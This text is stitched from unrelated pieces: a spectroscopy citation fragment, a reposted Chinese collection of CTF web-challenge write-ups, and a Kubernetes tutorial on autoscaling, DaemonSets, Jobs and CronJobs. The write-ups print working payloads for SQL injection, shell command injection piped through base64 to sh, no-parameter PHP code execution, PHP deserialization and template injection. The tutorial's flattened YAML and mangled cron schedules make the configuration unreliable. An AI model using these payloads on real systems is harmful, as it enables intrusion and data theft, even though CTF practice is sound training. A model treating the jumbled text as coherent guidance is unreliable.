Ahmad P, et al.Laser induced breakdown spectroscopy methods and applications: A comprehensive review[J].Radiation Physics and Chemistry,2020, 170. [7] V S D, George S D, Kartha V B, et al.Hybrid LIBS-Raman-LIF systems for multi-modal spectroscopic applications: a topical review[J].Applied Spectroscopy Reviews,2020, 56 (6): 1-29. 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2023-08-13 12:41:47
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...,并没有包含到SQL标准中 [GKCTF2020]cve版签到 查看提示 菜鸡的第一步 提示了:cve-2020-7066 赶紧去查了一下 cve-2020-7066PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。 描述在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。 利用方法 总的来说也就是get_headers()可以被%00截断 进入题目链接 知识点: cve-2020-7066利用 老套路:先F12查看源码 发现提示:Flag in localhost 根据以上 直接上了 直接截断 因为提示host必须以123结尾,这个简单 所以需要将localhost替换为127.0.0.123 成功得到flag flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801} GXYCTF2019禁止套娃 考点: .git源码泄露 无参RCE localeconv() 函数返回一包含本地数字及货币格式信息的数组。scandir() 列出 images 目录中的文件和目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素,并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。 具体细节,看这里 进入题目链接 上御剑扫目录 发现是.git源码泄露 上githack补全源码 得到源码 <?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");} }else{die("再好好想想!");} }else{die("还想读flag,臭弟弟!");} }// highlight_file(__FILE__);?> 既然getshell基本不可能,那么考虑读源码 看源码,flag应该就在flag.php 我们想办法读取 首先需要得到当前目录下的文件 scandir()函数可以扫描当前目录下的文件,例如: <?phpprint_r(scandir('.'));?> 那么问题就是如何构造scandir('.') 这里再看函数: localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点: current(localeconv())永远都是个点 那么就很简单了 print_r(scandir(current(localeconv())));print_r(scandir(pos(localeconv()))); 第二步:读取flag所在的数组 之后我们利用array_reverse() 将数组内容反转一下,利用next()指向flag.php文件==>highlight_file()高亮输出 payload: ?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); [De1CTF 2019]SSRF Me 首先得到提示 还有源码 进入题目链接 得到一串py 经过整理后 ! /usr/bin/env pythonencoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数,此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由,就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的,参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的,名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象,hexdigest()是获得加密后的16进制字符串 urllib.unquote() 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog,且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了:secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为:fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入: /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目: 1.tornado是一个python的模板,可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息,想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞,尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入: 查字段:1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表: [GXYCTF2019]Ping Ping Ping 考察:RCE的防护绕过 直接构造:?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格,使用拼接变量来拼接出Flag字符串: 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么:?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤: 继续构造payload: ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码,得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass,具体看这里 HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符2.将某些字符转换为下划线(包括空格) scandir():列出参数目录中的文件和目录 发现/被过滤了 ,可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload: 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典,要带路径 -r 递归跑(查到一个目录后,重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道,如果password=100,username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时,属性个数的值大于实际属性个数时,就可以 2.private修饰符的问题 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover, 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法: flask session 伪造 具体,看这里 flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显: 1' uniunionon selselectect 1,2,3 over!正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接:https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
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...才能达到金丝雀发布的标准; 更新deployment的版本,并配置暂停deploymentkubectl set image deploy pc-deployment nginx=nginx:1.17.4 -n dev && kubectl rollout pause deployment pc-deployment -n dev 观察更新状态kubectl rollout status deploy pc-deployment -n dev 监控更新的过程kubectl get rs -n dev -o wide 确保更新的pod没问题了,继续更新kubectl rollout resume deploy pc-deployment -n dev 如果有问题,就回退到上个版本回退到上个版本kubectl rollout undo deployment pc-deployment -n dev Horizontal Pod Autoscaler 简称HPA,使用deployment可以手动调整pod的数量来实现扩容和缩容;但是这显然不符合k8s的自动化的定位,k8s期望可以通过检测pod的使用情况,实现pod数量自动调整,于是就有了HPA控制器; HPA可以获取每个Pod利用率,然后和HPA中定义的指标进行对比,同时计算出需要伸缩的具体值,最后实现Pod的数量的调整。比如说我指定了一个规则:当我的cpu利用率达到90%或者内存使用率到达80%的时候,就需要进行调整pod的副本数量,每次添加n个pod副本; 其实HPA与之前的Deployment一样,也属于一种Kubernetes资源对象,它通过追踪分析ReplicaSet控制器的所有目标Pod的负载变化情况,来确定是否需要针对性地调整目标Pod的副本数,也就是HPA管理Deployment,Deployment管理ReplicaSet,ReplicaSet管理pod,这是HPA的实现原理。 1、安装metrics-server metrics-server可以用来收集集群中的资源使用情况 安装git[root@k8s-master01 ~] yum install git -y 获取metrics-server, 注意使用的版本[root@k8s-master01 ~] git clone -b v0.3.6 https://github.com/kubernetes-incubator/metrics-server 修改deployment, 注意修改的是镜像和初始化参数[root@k8s-master01 ~] cd /root/metrics-server/deploy/1.8+/[root@k8s-master01 1.8+] vim metrics-server-deployment.yaml按图中添加下面选项hostNetwork: trueimage: registry.cn-hangzhou.aliyuncs.com/google_containers/metrics-server-amd64:v0.3.6args:- --kubelet-insecure-tls- --kubelet-preferred-address-types=InternalIP,Hostname,InternalDNS,ExternalDNS,ExternalIP 2、安装metrics-server [root@k8s-master01 1.8+] kubectl apply -f ./ 3、查看pod运行情况 [root@k8s-master01 1.8+] kubectl get pod -n kube-systemmetrics-server-6b976979db-2xwbj 1/1 Running 0 90s 4、使用kubectl top node 查看资源使用情况 [root@k8s-master01 1.8+] kubectl top nodeNAME CPU(cores) CPU% MEMORY(bytes) MEMORY%k8s-master01 289m 14% 1582Mi 54% k8s-node01 81m 4% 1195Mi 40% k8s-node02 72m 3% 1211Mi 41% [root@k8s-master01 1.8+] kubectl top pod -n kube-systemNAME CPU(cores) MEMORY(bytes)coredns-6955765f44-7ptsb 3m 9Micoredns-6955765f44-vcwr5 3m 8Mietcd-master 14m 145Mi... 至此,metrics-server安装完成 5、 准备deployment和servie 创建pc-hpa-pod.yaml文件,内容如下: apiVersion: apps/v1kind: Deploymentmetadata:name: nginxnamespace: devspec:strategy: 策略type: RollingUpdate 滚动更新策略replicas: 1selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1resources: 资源配额limits: 限制资源(上限)cpu: "1" CPU限制,单位是core数requests: 请求资源(下限)cpu: "100m" CPU限制,单位是core数 创建deployment [root@k8s-master01 1.8+] kubectl run nginx --image=nginx:1.17.1 --requests=cpu=100m -n dev 6、创建service [root@k8s-master01 1.8+] kubectl expose deployment nginx --type=NodePort --port=80 -n dev 7、查看 [root@k8s-master01 1.8+] kubectl get deployment,pod,svc -n devNAME READY UP-TO-DATE AVAILABLE AGEdeployment.apps/nginx 1/1 1 1 47sNAME READY STATUS RESTARTS AGEpod/nginx-7df9756ccc-bh8dr 1/1 Running 0 47sNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEservice/nginx NodePort 10.101.18.29 <none> 80:31830/TCP 35s 8、 部署HPA 创建pc-hpa.yaml文件,内容如下: apiVersion: autoscaling/v1kind: HorizontalPodAutoscalermetadata:name: pc-hpanamespace: devspec:minReplicas: 1 最小pod数量maxReplicas: 10 最大pod数量 ,pod数量会在1~10之间自动伸缩targetCPUUtilizationPercentage: 3 CPU使用率指标,如果cpu使用率达到3%就会进行扩容;为了测试方便,将这个数值调小一些scaleTargetRef: 指定要控制的nginx信息apiVersion: /v1kind: Deploymentname: nginx 创建hpa [root@k8s-master01 1.8+] kubectl create -f pc-hpa.yamlhorizontalpodautoscaler.autoscaling/pc-hpa created 查看hpa [root@k8s-master01 1.8+] kubectl get hpa -n devNAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGEpc-hpa Deployment/nginx 0%/3% 1 10 1 62s 9、 测试 使用压测工具对service地址192.168.5.4:31830进行压测,然后通过控制台查看hpa和pod的变化 hpa变化 [root@k8s-master01 ~] kubectl get hpa -n dev -wNAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGEpc-hpa Deployment/nginx 0%/3% 1 10 1 4m11spc-hpa Deployment/nginx 0%/3% 1 10 1 5m19spc-hpa Deployment/nginx 22%/3% 1 10 1 6m50spc-hpa Deployment/nginx 22%/3% 1 10 4 7m5spc-hpa Deployment/nginx 22%/3% 1 10 8 7m21spc-hpa Deployment/nginx 6%/3% 1 10 8 7m51spc-hpa Deployment/nginx 0%/3% 1 10 8 9m6spc-hpa Deployment/nginx 0%/3% 1 10 8 13mpc-hpa Deployment/nginx 0%/3% 1 10 1 14m deployment变化 [root@k8s-master01 ~] kubectl get deployment -n dev -wNAME READY UP-TO-DATE AVAILABLE AGEnginx 1/1 1 1 11mnginx 1/4 1 1 13mnginx 1/4 1 1 13mnginx 1/4 1 1 13mnginx 1/4 4 1 13mnginx 1/8 4 1 14mnginx 1/8 4 1 14mnginx 1/8 4 1 14mnginx 1/8 8 1 14mnginx 2/8 8 2 14mnginx 3/8 8 3 14mnginx 4/8 8 4 14mnginx 5/8 8 5 14mnginx 6/8 8 6 14mnginx 7/8 8 7 14mnginx 8/8 8 8 15mnginx 8/1 8 8 20mnginx 8/1 8 8 20mnginx 1/1 1 1 20m pod变化 [root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEnginx-7df9756ccc-bh8dr 1/1 Running 0 11mnginx-7df9756ccc-cpgrv 0/1 Pending 0 0snginx-7df9756ccc-8zhwk 0/1 Pending 0 0snginx-7df9756ccc-rr9bn 0/1 Pending 0 0snginx-7df9756ccc-cpgrv 0/1 ContainerCreating 0 0snginx-7df9756ccc-8zhwk 0/1 ContainerCreating 0 0snginx-7df9756ccc-rr9bn 0/1 ContainerCreating 0 0snginx-7df9756ccc-m9gsj 0/1 Pending 0 0snginx-7df9756ccc-g56qb 0/1 Pending 0 0snginx-7df9756ccc-sl9c6 0/1 Pending 0 0snginx-7df9756ccc-fgst7 0/1 Pending 0 0snginx-7df9756ccc-g56qb 0/1 ContainerCreating 0 0snginx-7df9756ccc-m9gsj 0/1 ContainerCreating 0 0snginx-7df9756ccc-sl9c6 0/1 ContainerCreating 0 0snginx-7df9756ccc-fgst7 0/1 ContainerCreating 0 0snginx-7df9756ccc-8zhwk 1/1 Running 0 19snginx-7df9756ccc-rr9bn 1/1 Running 0 30snginx-7df9756ccc-m9gsj 1/1 Running 0 21snginx-7df9756ccc-cpgrv 1/1 Running 0 47snginx-7df9756ccc-sl9c6 1/1 Running 0 33snginx-7df9756ccc-g56qb 1/1 Running 0 48snginx-7df9756ccc-fgst7 1/1 Running 0 66snginx-7df9756ccc-fgst7 1/1 Terminating 0 6m50snginx-7df9756ccc-8zhwk 1/1 Terminating 0 7m5snginx-7df9756ccc-cpgrv 1/1 Terminating 0 7m5snginx-7df9756ccc-g56qb 1/1 Terminating 0 6m50snginx-7df9756ccc-rr9bn 1/1 Terminating 0 7m5snginx-7df9756ccc-m9gsj 1/1 Terminating 0 6m50snginx-7df9756ccc-sl9c6 1/1 Terminating 0 6m50s DaemonSet 简称DS,ds可以保证在集群中的每一台节点(或指定节点)上都运行一个副本,一般适用于日志收集、节点监控等场景;也就是说,如果一个Pod提供的功能是节点级别的(每个节点都需要且只需要一个),那么这类Pod就适合使用DaemonSet类型的控制器创建。 DaemonSet控制器的特点: 每当向集群中添加一个节点时,指定的 Pod 副本也将添加到该节点上 当节点从集群中移除时,Pod 也就被垃圾回收了 配置模板 apiVersion: apps/v1 版本号kind: DaemonSet 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: daemonsetspec: 详情描述revisionHistoryLimit: 3 保留历史版本updateStrategy: 更新策略type: RollingUpdate 滚动更新策略rollingUpdate: 滚动更新maxUnavailable: 1 最大不可用状态的 Pod 的最大值,可以为百分比,也可以为整数selector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: nginx-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [nginx-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1ports:- containerPort: 80 1、创建ds 创建pc-daemonset.yaml,内容如下: apiVersion: apps/v1kind: DaemonSet metadata:name: pc-daemonsetnamespace: devspec: selector:matchLabels:app: nginx-podtemplate:metadata:labels:app: nginx-podspec:containers:- name: nginximage: nginx:1.17.1 运行 创建daemonset[root@k8s-master01 ~] kubectl create -f pc-daemonset.yamldaemonset.apps/pc-daemonset created 查看daemonset[root@k8s-master01 ~] kubectl get ds -n dev -o wideNAME DESIRED CURRENT READY UP-TO-DATE AVAILABLE AGE CONTAINERS IMAGES pc-daemonset 2 2 2 2 2 24s nginx nginx:1.17.1 查看pod,发现在每个Node上都运行一个pod[root@k8s-master01 ~] kubectl get pods -n dev -o wideNAME READY STATUS RESTARTS AGE IP NODE pc-daemonset-9bck8 1/1 Running 0 37s 10.244.1.43 node1 pc-daemonset-k224w 1/1 Running 0 37s 10.244.2.74 node2 2、删除daemonset [root@k8s-master01 ~] kubectl delete -f pc-daemonset.yamldaemonset.apps "pc-daemonset" deleted Job 主要用于负责批量处理一次性(每个任务仅运行一次就结束)任务。当然,你也可以运行多次,配置好即可,Job特点如下: 当Job创建的pod执行成功结束时,Job将记录成功结束的pod数量 当成功结束的pod达到指定的数量时,Job将完成执行 配置模板 apiVersion: batch/v1 版本号kind: Job 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: jobspec: 详情描述completions: 1 指定job需要成功运行Pods的次数。默认值: 1parallelism: 1 指定job在任一时刻应该并发运行Pods的数量。默认值: 1activeDeadlineSeconds: 30 指定job可运行的时间期限,超过时间还未结束,系统将会尝试进行终止。backoffLimit: 6 指定job失败后进行重试的次数。默认是6manualSelector: true 是否可以使用selector选择器选择pod,默认是falseselector: 选择器,通过它指定该控制器管理哪些podmatchLabels: Labels匹配规则app: counter-podmatchExpressions: Expressions匹配规则- {key: app, operator: In, values: [counter-pod]}template: 模板,当副本数量不足时,会根据下面的模板创建pod副本metadata:labels:app: counter-podspec:restartPolicy: Never 重启策略只能设置为Never或者OnFailurecontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 2;done"] 关于重启策略设置的说明:(这里只能设置为Never或者OnFailure) 如果指定为OnFailure,则job会在pod出现故障时重启容器,而不是创建pod,failed次数不变 如果指定为Never,则job会在pod出现故障时创建新的pod,并且故障pod不会消失,也不会重启,failed次数加1 如果指定为Always的话,就意味着一直重启,意味着job任务会重复去执行了,当然不对,所以不能设置为Always 1、创建一个job 创建pc-job.yaml,内容如下: apiVersion: batch/v1kind: Job metadata:name: pc-jobnamespace: devspec:manualSelector: trueselector:matchLabels:app: counter-podtemplate:metadata:labels:app: counter-podspec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 创建 创建job[root@k8s-master01 ~] kubectl create -f pc-job.yamljob.batch/pc-job created 查看job[root@k8s-master01 ~] kubectl get job -n dev -o wide -wNAME COMPLETIONS DURATION AGE CONTAINERS IMAGES SELECTORpc-job 0/1 21s 21s counter busybox:1.30 app=counter-podpc-job 1/1 31s 79s counter busybox:1.30 app=counter-pod 通过观察pod状态可以看到,pod在运行完毕任务后,就会变成Completed状态[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-rxg96 1/1 Running 0 29spc-job-rxg96 0/1 Completed 0 33s 接下来,调整下pod运行的总数量和并行数量 即:在spec下设置下面两个选项 completions: 6 指定job需要成功运行Pods的次数为6 parallelism: 3 指定job并发运行Pods的数量为3 然后重新运行job,观察效果,此时会发现,job会每次运行3个pod,总共执行了6个pod[root@k8s-master01 ~] kubectl get pods -n dev -wNAME READY STATUS RESTARTS AGEpc-job-684ft 1/1 Running 0 5spc-job-jhj49 1/1 Running 0 5spc-job-pfcvh 1/1 Running 0 5spc-job-684ft 0/1 Completed 0 11spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 Pending 0 0spc-job-v7rhr 0/1 ContainerCreating 0 0spc-job-jhj49 0/1 Completed 0 11spc-job-fhwf7 0/1 Pending 0 0spc-job-fhwf7 0/1 Pending 0 0spc-job-pfcvh 0/1 Completed 0 11spc-job-5vg2j 0/1 Pending 0 0spc-job-fhwf7 0/1 ContainerCreating 0 0spc-job-5vg2j 0/1 Pending 0 0spc-job-5vg2j 0/1 ContainerCreating 0 0spc-job-fhwf7 1/1 Running 0 2spc-job-v7rhr 1/1 Running 0 2spc-job-5vg2j 1/1 Running 0 3spc-job-fhwf7 0/1 Completed 0 12spc-job-v7rhr 0/1 Completed 0 12spc-job-5vg2j 0/1 Completed 0 12s 2、删除 删除jobkubectl delete -f pc-job.yaml CronJob 简称为CJ,CronJob控制器以 Job控制器资源为其管控对象,并借助它管理pod资源对象,Job控制器定义的作业任务在其控制器资源创建之后便会立即执行,但CronJob可以以类似于Linux操作系统的周期性任务作业计划的方式控制其运行时间点及重复运行的方式。也就是说,CronJob可以在特定的时间点(反复的)去运行job任务。可以理解为定时任务 配置模板 apiVersion: batch/v1beta1 版本号kind: CronJob 类型 metadata: 元数据name: rs名称 namespace: 所属命名空间 labels: 标签controller: cronjobspec: 详情描述schedule: cron格式的作业调度运行时间点,用于控制任务在什么时间执行concurrencyPolicy: 并发执行策略,用于定义前一次作业运行尚未完成时是否以及如何运行后一次的作业failedJobHistoryLimit: 为失败的任务执行保留的历史记录数,默认为1successfulJobHistoryLimit: 为成功的任务执行保留的历史记录数,默认为3startingDeadlineSeconds: 启动作业错误的超时时长jobTemplate: job控制器模板,用于为cronjob控制器生成job对象;下面其实就是job的定义metadata:spec:completions: 1parallelism: 1activeDeadlineSeconds: 30backoffLimit: 6manualSelector: trueselector:matchLabels:app: counter-podmatchExpressions: 规则- {key: app, operator: In, values: [counter-pod]}template:metadata:labels:app: counter-podspec:restartPolicy: Never containers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 20;done"] cron表达式写法 需要重点解释的几个选项:schedule: cron表达式,用于指定任务的执行时间/1 <分钟> <小时> <日> <月份> <星期>分钟 值从 0 到 59.小时 值从 0 到 23.日 值从 1 到 31.月 值从 1 到 12.星期 值从 0 到 6, 0 代表星期日多个时间可以用逗号隔开; 范围可以用连字符给出;可以作为通配符; /表示每... 例如1 // 每个小时的第一分钟执行/1 // 每分钟都执行concurrencyPolicy:Allow: 允许Jobs并发运行(默认)Forbid: 禁止并发运行,如果上一次运行尚未完成,则跳过下一次运行Replace: 替换,取消当前正在运行的作业并用新作业替换它 1、创建cronJob 创建pc-cronjob.yaml,内容如下: apiVersion: batch/v1beta1kind: CronJobmetadata:name: pc-cronjobnamespace: devlabels:controller: cronjobspec:schedule: "/1 " 每分钟执行一次jobTemplate:metadata:spec:template:spec:restartPolicy: Nevercontainers:- name: counterimage: busybox:1.30command: ["bin/sh","-c","for i in 9 8 7 6 5 4 3 2 1; do echo $i;sleep 3;done"] 运行 创建cronjob[root@k8s-master01 ~] kubectl create -f pc-cronjob.yamlcronjob.batch/pc-cronjob created 查看cronjob[root@k8s-master01 ~] kubectl get cronjobs -n devNAME SCHEDULE SUSPEND ACTIVE LAST SCHEDULE AGEpc-cronjob /1 False 0 <none> 6s 查看job[root@k8s-master01 ~] kubectl get jobs -n devNAME COMPLETIONS DURATION AGEpc-cronjob-1592587800 1/1 28s 3m26spc-cronjob-1592587860 1/1 28s 2m26spc-cronjob-1592587920 1/1 28s 86s 查看pod[root@k8s-master01 ~] kubectl get pods -n devpc-cronjob-1592587800-x4tsm 0/1 Completed 0 2m24spc-cronjob-1592587860-r5gv4 0/1 Completed 0 84spc-cronjob-1592587920-9dxxq 1/1 Running 0 24s 2、删除cronjob kubectl delete -f pc-cronjob.yaml pod调度 什么是调度 默认情况下,一个pod在哪个node节点上运行,是通过scheduler组件采用相应的算法计算出来的,这个过程是不受人工控制的; 调度规则 但是在实际使用中,我们想控制某些pod定向到达某个节点上,应该怎么做呢?其实k8s提供了四类调度规则 调度方式 描述 自动调度 通过scheduler组件采用相应的算法计算得出运行在哪个节点上 定向调度 运行到指定的node节点上,通过NodeName、NodeSelector实现 亲和性调度 跟谁关系好就调度到哪个节点上 1、nodeAffinity :节点亲和性,调度到关系好的节点上 2、podAffinity:pod亲和性,调度到关系好的pod所在的节点上 3、PodAntAffinity:pod反清河行,调度到关系差的那个pod所在的节点上 污点(容忍)调度 